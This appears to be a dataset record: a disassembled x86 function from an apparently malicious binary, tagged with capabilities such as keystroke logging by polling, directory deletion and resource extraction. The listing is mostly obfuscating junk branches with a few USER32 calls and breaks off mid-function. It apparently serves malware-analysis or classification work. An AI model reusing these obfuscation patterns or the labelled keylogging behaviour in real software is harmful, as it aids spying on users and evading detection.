Function at 0x434836
Capabilities:
Accept command line arguments
Check os version
Delete directory
Extract resource via kernel32 functions
Get disk information
Log keystrokes via polling
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1f70
call fcn.0046d190
push esi
push edi
mov dword [ebp - 0x125c], 0xcd9
mov dword [ebp - 0x360], 0
jmp 0x434868
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 1
jge 0x434884
mov eax, dword [ebp - 0x360]
mov dword [ebp + eax*4 - 0x214], 0x8c6a53d0
jmp 0x43485b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x214], 0
jmp 0x4348b2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x214]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x214], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x214], 0xfffffff7
jg 0x43493a
mov dword [ebp - 0x1274], 3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x214], 0xfffffffc
jne 0x4348e8
mov dword [ebp - 0x89c], 1
jmp 0x4348ef
and dword [ebp - 0x89c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x214]
cmp dword [ebp - 0x89c], eax
jne 0x434922
mov eax, 0x717c
sub eax, dword [ebp - 0x1274]
cmp eax, 0x789328a
je 0x434922
mov dword [ebp - 0x102c], 1
jmp 0x434929
and dword [ebp - 0x102c], 0
mov eax, dword [ebp - 0x102c]
mov dword [ebp - 0x125c], eax
jmp 0x434897
push 2
lea ecx, [ebp - 0x13ec]
call fcn.004016e3
mov dword [ebp - 0x148], 0x9beb0647
mov dword [ebp - 0x494], 0
jmp 0x43496a
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 2
jge 0x43498c
push dword [ebp - 0x494]
lea ecx, [ebp - 0x13ec]
call fcn.004012f8
mov dword [eax], 0xbca63185
jmp 0x43495d
mov dword [ebp - 0x148], 0
jmp 0x4349a5
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 1
jg 0x434aff
mov dword [ebp - 0x270], 0xdb8faaae
cmp dword [ebp - 0x270], 0
je 0x4349ca
jmp 0x434aff
cmp dword [ebp - 0x270], 0
jne 0x434a2f
xor eax, eax
jne 0x4349e9
cmp dword [ebp - 0x270], 0
jne 0x4349e9
and dword [ebp - 0x1034], 0
jmp 0x4349f3
mov dword [ebp - 0x1034], 1
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x1034], eax
jge 0x434a0d
mov dword [ebp - 0x107c], 1
jmp 0x434a14
and dword [ebp - 0x107c], 0
cmp dword [ebp - 0x107c], 4
jb 0x434a2f
cmp dword [ebp - 0x148], 0
jne 0x434a2f
and dword [ebp - 0x1084], 0
jmp 0x434a39
mov dword [ebp - 0x1084], 1
cmp dword [ebp - 0x1084], 0
je 0x434a55
push 4
pop eax
test eax, eax
je 0x434a55
mov dword [ebp - 0x108c], 1
jmp 0x434a5c
and dword [ebp - 0x108c], 0
push 1
lea ecx, [ebp - 0x13ec]
call fcn.004012f8
mov eax, dword [eax]
sub eax, dword [ebp - 0x108c]
mov dword [ebp - 0x1264], eax
push dword [ebp - 0x148]
lea ecx, [ebp - 0x13ec]
call fcn.004012f8
mov ecx, dword [ebp - 0x1264]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x13ec]
call fcn.004012f8
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x1aa8], eax
imul eax, dword [ebp - 0x148], 0xf58a
cmp eax, 0x9507
jge 0x434ac6
mov dword [ebp - 0x10a8], 1
jmp 0x434acd
and dword [ebp - 0x10a8], 0
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0x10a8], eax
jne 0x434ae7
mov dword [ebp - 0x10b0], 1
jmp 0x434aee
and dword [ebp - 0x10b0], 0
mov eax, dword [ebp - 0x10b0]
mov dword [ebp - 0x270], eax
jmp 0x434998
lea ecx, [ebp - 0x13ec]
call fcn.004017b5
mov dword [ebp - 0x374], 0xfffffffc
mov dword [ebp - 0x758], 1
mov dword [ebp - 0x594], 5
push 3
lea ecx, [ebp - 0x16e0]
call fcn.004016e3
mov dword [ebp - 0x2c], 0
jmp 0x434b45
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x434b58
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x30], 0x20a2
jmp 0x434b3e
mov dword [ebp - 0x2c], 0
jmp 0x434b68
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x434b7e
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1ae4], 0xfffffffc
jmp 0x434b61
mov dword [ebp - 0x2c], 0
jmp 0x434b8e
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x434baa
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x16e0]
call fcn.004012f8
mov dword [eax], 7
jmp 0x434b87
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
mov dword [ebp - 0x1a60], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
je 0x434c8f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
add eax, 0xfff6
jne 0x434be5
mov eax, 0x5d3c095b
test eax, eax
je 0x434bfa
mov eax, 0x9d1f
test eax, eax
je 0x434bfa
mov dword [ebp - 0x10b8], 1
jmp 0x434c01
and dword [ebp - 0x10b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0x10b8], eax
jle 0x434c25
mov eax, 0x177f
test eax, eax
jne 0x434c25
and dword [ebp - 0x10c0], 0
jmp 0x434c2f
mov dword [ebp - 0x10c0], 1
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x10c0], eax
jge 0x434c49
mov dword [ebp - 0x10c8], 1
jmp 0x434c50
and dword [ebp - 0x10c8], 0
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x10c8], eax
je 0x434c6a
mov dword [ebp - 0x10d0], 1
jmp 0x434c71
and dword [ebp - 0x10d0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0x10d0], eax
jge 0x434c8f
mov dword [ebp - 0x1024], 1
jmp 0x434c96
and dword [ebp - 0x1024], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0x1024], eax
jle 0x434cbe
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
jne 0x434cbe
and dword [ebp - 0x748], 0
jmp 0x434cc8
mov dword [ebp - 0x748], 1
cmp dword [ebp - 0x748], 0xfffffffb
jle 0x434cdd
mov dword [ebp - 0xc28], 1
jmp 0x434ce4
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0xc28]
add eax, 6
jne 0x434d05
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
jne 0x434d05
and dword [ebp - 0x750], 0
jmp 0x434d0f
mov dword [ebp - 0x750], 1
mov eax, dword [ebp - 0x750]
imul eax, dword [ebp - 0x374]
mov dword [ebp - 0xe98], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe98]
mov dword [ebp + eax - 0x1ae4], ecx
mov eax, dword [ebp - 0xe98]
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x758]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x30]
cmp eax, 0x7718
jg 0x434d64
mov dword [ebp - 0xc30], 1
jmp 0x434d6b
and dword [ebp - 0xc30], 0
mov eax, dword [ebp - 0x594]
add eax, dword [ebp - 0xc30]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x30]
test eax, eax
jne 0x434d92
mov dword [ebp - 0x760], 1
jmp 0x434d99
and dword [ebp - 0x760], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0x760], eax
jle 0x434db7
mov dword [ebp - 0xfd0], 1
jmp 0x434dbe
and dword [ebp - 0xfd0], 0
mov eax, dword [ebp - 0x594]
add eax, dword [ebp - 0xfd0]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x30]
jne 0x434de2
mov dword [ebp - 0x768], 1
jmp 0x434de9
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x594]
cmp dword [ebp - 0x768], eax
jg 0x434e03
mov dword [ebp - 0xc38], 1
jmp 0x434e0a
and dword [ebp - 0xc38], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp eax, dword [ebp - 0xc38]
jl 0x434e28
mov dword [ebp - 0x770], 1
jmp 0x434e2f
and dword [ebp - 0x770], 0
cmp dword [ebp - 0x770], 0xfffffffd
jne 0x434e44
mov dword [ebp - 0xea0], 1
jmp 0x434e4b
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0xea0], eax
jle 0x434e65
mov dword [ebp - 0x778], 1
jmp 0x434e6c
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x594]
cmp dword [ebp - 0x778], eax
jne 0x434e86
mov dword [ebp - 0x126c], 1
jmp 0x434e8d
and dword [ebp - 0x126c], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1ae4], 0x80f4
jg 0x434eab
mov dword [ebp - 0xc40], 1
jmp 0x434eb2
and dword [ebp - 0xc40], 0
cmp dword [ebp - 0xc40], 0xfffffff6
jb 0x434ec7
mov dword [ebp - 0x780], 1
jmp 0x434ece
and dword [ebp - 0x780], 0
cmp dword [ebp - 0x780], 1
jb 0x434ee7
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x434ee7
and dword [ebp - 0x10bc], 0
jmp 0x434ef1
mov dword [ebp - 0x10bc], 1
cmp dword [ebp - 0x10bc], 0x6b32
je 0x434f09
mov dword [ebp - 0x788], 1
jmp 0x434f10
and dword [ebp - 0x788], 0
mov esi, dword [ebp - 0x788]
neg esi
push 0
lea ecx, [ebp - 0x16e0]
call fcn.004012f8
mov dword [eax], esi
lea ecx, [ebp - 0x16e0]
call fcn.004017b5
mov dword [ebp - 0x137c], 0xcd9
mov dword [ebp - 0xc0], 0
push 2
lea ecx, [ebp - 0x109c]
call fcn.004016e3
mov dword [ebp - 0x37c], 0
jmp 0x434f6c
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 2
jge 0x434f8e
push dword [ebp - 0x37c]
lea ecx, [ebp - 0x109c]
call fcn.004012f8
mov dword [eax], 0x871d976f
jmp 0x434f5f
mov dword [ebp - 0xc0], 0
jmp 0x434fa7
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0xffffffe2
jle 0x434fbd
cmp dword [ebp - 0xc0], 0
je 0x434fbb
jmp 0x434fbd
jmp 0x434f9a
mov dword [ebp - 0xc0], 0
jmp 0x434fd6
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jg 0x4351cd
mov dword [ebp - 0x98], 0x67e307b5
mov dword [ebp - 0x98], 1
jmp 0x435006
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jl 0x4351c8
mov dword [ebp - 0x320], 0
push dword [ebp - 0x98]
lea ecx, [ebp - 0x109c]
call fcn.004012f8
cmp dword [eax], 0
jbe 0x43503f
mov dword [ebp - 0xc50], 1
jmp 0x435046
and dword [ebp - 0xc50], 0
push 1
lea ecx, [ebp - 0x109c]
call fcn.004012f8
mov esi, eax
push 1
lea ecx, [ebp - 0x109c]
call fcn.004012f8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x435074
mov dword [ebp - 0x790], 1
jmp 0x43507b
and dword [ebp - 0x790], 0
cmp dword [ebp - 0x98], 0
jne 0x4350a4
xor eax, eax
inc eax
jne 0x4350a4
push 0
lea ecx, [ebp - 0x109c]
call fcn.004012f8
cmp dword [eax], 0
jne 0x4350a4
and dword [ebp - 0xc48], 0
jmp 0x4350ae
mov dword [ebp - 0xc48], 1
cmp dword [ebp - 0xc48], 1
je 0x4350c3
mov dword [ebp - 0xea8], 1
jmp 0x4350ca
and dword [ebp - 0xea8], 0
mov eax, dword [ebp - 0x790]
cmp eax, dword [ebp - 0xea8]
jge 0x4350e4
mov dword [ebp - 0x798], 1
jmp 0x4350eb
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x798], eax
jge 0x43511b
push dword [ebp - 0x98]
lea ecx, [ebp - 0x109c]
call fcn.004012f8
cmp dword [eax], 0
je 0x43511b
mov dword [ebp - 0x7a0], 1
jmp 0x435122
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0xc50]
cmp eax, dword [ebp - 0x7a0]
jne 0x43513c
mov dword [ebp - 0xfd8], 1
jmp 0x435143
and dword [ebp - 0xfd8], 0
mov eax, dword [ebp - 0xfd8]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x320], 0
jmp 0x435168
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 1
jg 0x4351c3
mov dword [ebp - 0x2a0], 0xffffffff
mov dword [ebp - 0x2a0], 0
jmp 0x435194
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 2
jge 0x4351b6
push dword [ebp - 0x2a0]
lea ecx, [ebp - 0x109c]
call fcn.004012f8
mov dword [eax], 0xb5c29478
jmp 0x435187
cmp dword [ebp - 0x98], 0
je 0x4351c1
jmp 0x43515b
jmp 0x43515b
jmp 0x434ff9
jmp 0x434fc9
lea ecx, [ebp - 0x109c]
call fcn.004017b5
mov dword [ebp - 0x49c], 4
mov dword [ebp - 0x49c], 0
jmp 0x4351fb
mov eax, dword [ebp - 0x49c]
dec eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0xfffffff0
jle 0x43521b
mov dword [ebp - 0x1194], 0xffffffff
cmp dword [ebp - 0x1194], 0
je 0x435219
jmp 0x43521b
jmp 0x4351ee
mov byte [ebp - 0x162], 0
movzx eax, byte [ebp - 0x162]
test eax, eax
je 0x435244
push 0x1d34
push 0x1cea
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [ebp - 0x384], 0
jmp 0x43525d
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 1
jge 0x435279
mov eax, dword [ebp - 0x384]
mov dword [ebp + eax*4 - 0x220], 0x8c6a53d0
jmp 0x435250
mov dword [ebp - 0x2f8], 0xb505
mov dword [ebp - 0x2a8], 0xfffffffb
mov dword [ebp - 0x38c], 0xfc558bac
mov dword [ebp - 0xc68], 5
mov dword [ebp - 0x1c38], 0xdb821342
mov dword [ebp - 0xc60], 0x1ce3
mov dword [ebp - 0x1a68], 1
mov dword [ebp - 0x6b8], 0xffffffff
mov dword [ebp - 0x1d10], 0xca3691f6
mov dword [ebp - 0x127c], 0
mov dword [ebp - 0x1a70], 9
push 4
lea ecx, [ebp - 0x1af4]
call fcn.004016e3
mov dword [ebp - 0x5f0], 0xc9ba5b04
mov dword [ebp - 0x52c], 0
jmp 0x435317
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 4
jge 0x435339
push dword [ebp - 0x52c]
lea ecx, [ebp - 0x1af4]
call fcn.004012f8
mov dword [eax], 0xc40a98ce
jmp 0x43530a
mov dword [ebp - 0x2f8], 0x8d327cb3
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x6b8], 0x4c38
jge 0x435373
mov dword [ebp - 0x7a8], 1
jmp 0x43537a
and dword [ebp - 0x7a8], 0
cmp dword [ebp - 0x7a8], 0xfffffffd
jne 0x435398
cmp dword [ebp - 0x2a8], 0
je 0x435398
mov dword [ebp - 0xc58], 1
jmp 0x43539f
and dword [ebp - 0xc58], 0
cmp dword [ebp - 0xc58], 9
jb 0x4353b4
mov dword [ebp - 0x7b0], 1
jmp 0x4353bb
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
mov eax, dword [ebp - 0x5f0]
sub eax, dword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x38c]
sub ecx, dword [ebp - 0x7b0]
add eax, ecx
sub eax, dword [ebp - 0x6b8]
sub eax, dword [ebp - 0x2a8]
jne 0x4353fc
mov dword [ebp - 0xeb0], 1
jmp 0x435403
and dword [ebp - 0xeb0], 0
mov eax, dword [ebp - 0xc68]
cmp dword [ebp - 0xeb0], eax
jle 0x43542a
xor eax, eax
je 0x43542a
cmp dword [ebp - 0x38c], 0
je 0x43542a
mov dword [ebp - 0x7b8], 1
jmp 0x435431
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0xc60]
mov ecx, dword [ebp - 0x2f8]
lea eax, [eax + ecx + 0x7ba2e7b3]
imul eax, dword [ebp - 0xc60]
cmp eax, dword [ebp - 0x38c]
jl 0x43546b
mov dword [ebp - 0x7c0], 1
jmp 0x435472
and dword [ebp - 0x7c0], 0
cmp dword [ebp - 0x7c0], 1
jl 0x435487
mov dword [ebp - 0x1070], 1
jmp 0x43548e
and dword [ebp - 0x1070], 0
mov eax, dword [ebp - 0x2f8]
cmp eax, dword [ebp - 0x1070]
jl 0x4354a8
mov dword [ebp - 0x7c8], 1
jmp 0x4354af
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0x7c8], eax
jge 0x4354c9
mov dword [ebp - 0x7d0], 1
jmp 0x4354d0
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0xc68]
imul eax, dword [ebp - 0x7d0]
mov dword [ebp - 0x127c], eax
lea ecx, [ebp - 0x1af4]
call fcn.004017b5
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x220], 0
jmp 0x43551c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x220]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x220], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x220], 0xfffffff7
jg 0x435b68
mov dword [ebp - 0x1838], 1
mov dword [ebp - 0x183c], 0
mov dword [ebp - 0x1844], 0x34fda0e6
mov dword [ebp - 0x184c], 0
mov dword [ebp - 0x1344], 0xfffffffa
mov dword [ebp - 0x1854], 0x708ef6b8
mov dword [ebp - 0x185c], 1
mov dword [ebp - 0x17dc], 0xffffffff
mov dword [ebp - 0x17e0], 0x729cf308
mov dword [ebp - 0x17e8], 0x1dfd9475
mov dword [ebp - 0x18b4], 0xefb6f65e
mov dword [ebp - 0x18bc], 0x4896e6a3
mov dword [ebp - 0x18c4], 0xd188047d
mov dword [ebp - 0x18cc], 0
mov dword [ebp - 0x18d4], 0x3589
mov dword [ebp - 0xeb8], 7
mov dword [ebp - 0x1284], 0
mov dword [ebp - 0x4a4], 0
jmp 0x4355f3
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 4
jge 0x43560f
mov eax, dword [ebp - 0x4a4]
mov dword [ebp + eax*4 - 0x1f30], 1
jmp 0x4355e6
mov eax, dword [ebp - 0xeb8]
dec eax
mov dword [ebp - 0xeb8], eax
cmp dword [ebp - 0x1284], 8
jg 0x435631
mov dword [ebp - 0x7d8], 1
jmp 0x435638
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x1344], eax
mov dword [ebp - 0x1374], 3
mov dword [ebp - 0x20], 0x1e559696
mov dword [ebp - 0xfe0], 0x1dfe936b
mov dword [ebp - 0x170], 0x955205
mov dword [ebp - 0x1364], 0
mov dword [ebp - 0x394], 0
jmp 0x43568c
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 1
jge 0x4356a5
mov eax, dword [ebp - 0x394]
mov dword [ebp + eax*4 - 0x78], 0xfffffffd
jmp 0x43567f
mov dword [ebp - 0x20], 0
jmp 0x4356b5
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jg 0x435830
mov eax, 0x9a92
test eax, eax
je 0x4357b5
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x78], 0
je 0x4356eb
cmp dword [ebp - 0xfe0], 0
je 0x4356eb
mov dword [ebp - 0xc70], 1
jmp 0x4356f2
and dword [ebp - 0xc70], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
cmp dword [ebp - 0xc70], eax
jg 0x435714
push 7
pop eax
test eax, eax
jne 0x435714
and dword [ebp - 0x7e0], 0
jmp 0x43571e
mov dword [ebp - 0x7e0], 1
cmp dword [ebp - 0x7e0], 0x8633
jle 0x435736
mov dword [ebp - 0x134c], 1
jmp 0x43573d
and dword [ebp - 0x134c], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x78]
mov dword [ebp - 0x18dc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xfe0]
cmp dword [ebp + eax - 0x78], ecx
jg 0x435768
mov dword [ebp - 0x1354], 1
jmp 0x43576f
and dword [ebp - 0x1354], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x78]
mov dword [ebp - 0x18e4], eax
mov eax, 0xd07ddbf4
neg eax
cmp eax, 6
jne 0x435794
mov dword [ebp - 0x7e8], 1
jmp 0x43579b
and dword [ebp - 0x7e8], 0
imul eax, dword [ebp - 0x7e8], 3
imul eax, eax, 0
test eax, eax
je 0x4357b5
mov dword [ebp - 0xc78], 1
jmp 0x4357bc
and dword [ebp - 0xc78], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x78]
cmp dword [ebp - 0xc78], eax
jge 0x4357d7
mov dword [ebp - 0x7f0], 1
jmp 0x4357de
and dword [ebp - 0x7f0], 0
cmp dword [ebp - 0x7f0], 0xfffffffe
jge 0x4357f3
mov dword [ebp - 0xec0], 1
jmp 0x4357fa
and dword [ebp - 0xec0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
cmp dword [ebp - 0xec0], eax
jge 0x435818
mov dword [ebp - 0x7f8], 1
jmp 0x43581f
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x170], eax
jmp 0x4356ae
mov dword [ebp - 0x170], 0x12
jmp 0x435849
mov eax, dword [ebp - 0x170]
dec eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xfffffff0
jg 0x435afa
mov dword [ebp - 0x135c], 0x1a93
mov dword [ebp - 0x15dc], 0xfffffff7
mov dword [ebp - 0x15d8], 0xfffffff7
mov dword [ebp - 0x15d4], 0xfffffff7
mov dword [ebp - 0x15d0], 0xfffffff7
lea ecx, [ebp - 0x5dd]
call fcn.004017d1
push eax
lea eax, [ebp - 0x15cc]
push eax
lea eax, [ebp - 0x15dc]
push eax
lea ecx, [ebp - 0x1e2c]
call fcn.004017d4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1b04]
call fcn.0040178f
mov dword [ebp - 0x136c], 0xffffffff
mov dword [ebp - 0x20], 0x17
jmp 0x4358d7
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffec
jge 0x435ad0
mov dword [ebp - 0x574], 0xfffb
mov dword [ebp - 0x39c], 0x315bfeb1
cmp dword [ebp - 0x574], 0
je 0x43590f
or eax, 0xffffffff
je 0x43590f
mov dword [ebp - 0xc80], 1
jmp 0x435916
and dword [ebp - 0xc80], 0
cmp dword [ebp - 0x20], 0x49a5
je 0x43592b
mov dword [ebp - 0x800], 1
jmp 0x435932
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0xc80]
add eax, 0xddbb
imul eax, dword [ebp - 0x800]
test eax, eax
je 0x43595d
cmp dword [ebp - 0x170], 0
je 0x43595d
mov dword [ebp - 0x10ac], 1
jmp 0x435964
and dword [ebp - 0x10ac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
cmp dword [ebp - 0x10ac], eax
jle 0x435994
cmp dword [ebp - 0x135c], 0
je 0x435994
mov eax, 0xb505
test eax, eax
je 0x435994
mov dword [ebp - 0x808], 1
jmp 0x43599b
and dword [ebp - 0x808], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
add eax, dword [ebp - 0x808]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x78]
je 0x4359c3
mov dword [ebp - 0xc88], 1
jmp 0x4359ca
and dword [ebp - 0xc88], 0
cmp dword [ebp - 0xc88], 0xfffffffb
jge 0x4359df
mov dword [ebp - 0x810], 1
jmp 0x4359e6
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x574]
cmp dword [ebp - 0x1364], eax
jg 0x435a0c
mov dword [ebp - 0xec8], 1
jmp 0x435a13
and dword [ebp - 0xec8], 0
mov eax, dword [ebp - 0x574]
add eax, dword [ebp - 0xec8]
imul eax, dword [ebp - 0x39c]
mov dword [ebp - 0x818], eax
push 2
lea ecx, [ebp - 0x1b04]
call fcn.004012f8
mov ecx, dword [ebp - 0x818]
mov dword [eax], ecx
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x574]
cmp dword [ebp - 0x39c], eax
jne 0x435a6d
mov eax, 0x7ddc4ea3
test eax, eax
jne 0x435a6d
and dword [ebp - 0xc90], 0
jmp 0x435a77
mov dword [ebp - 0xc90], 1
mov eax, dword [ebp - 0x170]
cmp dword [ebp - 0xc90], eax
jg 0x435a9a
mov eax, 0x989
test eax, eax
je 0x435a9a
mov dword [ebp - 0x820], 1
jmp 0x435aa1
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x820]
je 0x435ab8
mov dword [ebp - 0xfe8], 1
jmp 0x435abf
and dword [ebp - 0xfe8], 0
mov eax, dword [ebp - 0xfe8]
mov dword [ebp - 0x136c], eax
jmp 0x4358d0
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x435aea
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
lea ecx, [ebp - 0x1b04]
call fcn.004017b5
jmp 0x43583c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x220], 0xfffffffc
jne 0x435b16
mov dword [ebp - 0x828], 1
jmp 0x435b1d
and dword [ebp - 0x828], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x220]
cmp dword [ebp - 0x828], eax
jne 0x435b50
mov eax, 0x717c
sub eax, dword [ebp - 0x1374]
cmp eax, 0x789328a
je 0x435b50
mov dword [ebp - 0xc98], 1
jmp 0x435b57
and dword [ebp - 0xc98], 0
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x137c], eax
jmp 0x435501
mov dword [ebp - 0x1668], 1
mov dword [ebp - 0x1664], 1
mov dword [ebp - 0x1660], 1
mov dword [ebp - 0x165c], 1
lea ecx, [ebp - 0x5d5]
call fcn.004017d1
push eax
lea eax, [ebp - 0x1658]
push eax
lea eax, [ebp - 0x1668]
push eax
lea ecx, [ebp - 0x1ea4]
call fcn.004017d4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1190]
call fcn.0040178f
mov dword [ebp - 0x3c], 0x30f94f37
mov dword [ebp - 0x680], 1
mov dword [ebp - 0x3c], 3
jmp 0x435be6
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jl 0x435ee5
mov dword [ebp - 0x300], 1
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x1190]
call fcn.004012f8
mov eax, dword [eax]
add eax, 0x52d8cb4c
je 0x435d74
mov dword [ebp - 0x4ac], 9
mov dword [ebp - 0x4ac], 3
jmp 0x435c38
mov eax, dword [ebp - 0x4ac]
dec eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0
jl 0x435d72
mov dword [ebp - 0x338], 0xffffffff
push 2
lea ecx, [ebp - 0x17a0]
call fcn.004016e3
mov dword [ebp - 0x3a4], 0
jmp 0x435c75
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 2
jge 0x435c97
push dword [ebp - 0x3a4]
lea ecx, [ebp - 0x17a0]
call fcn.004012f8
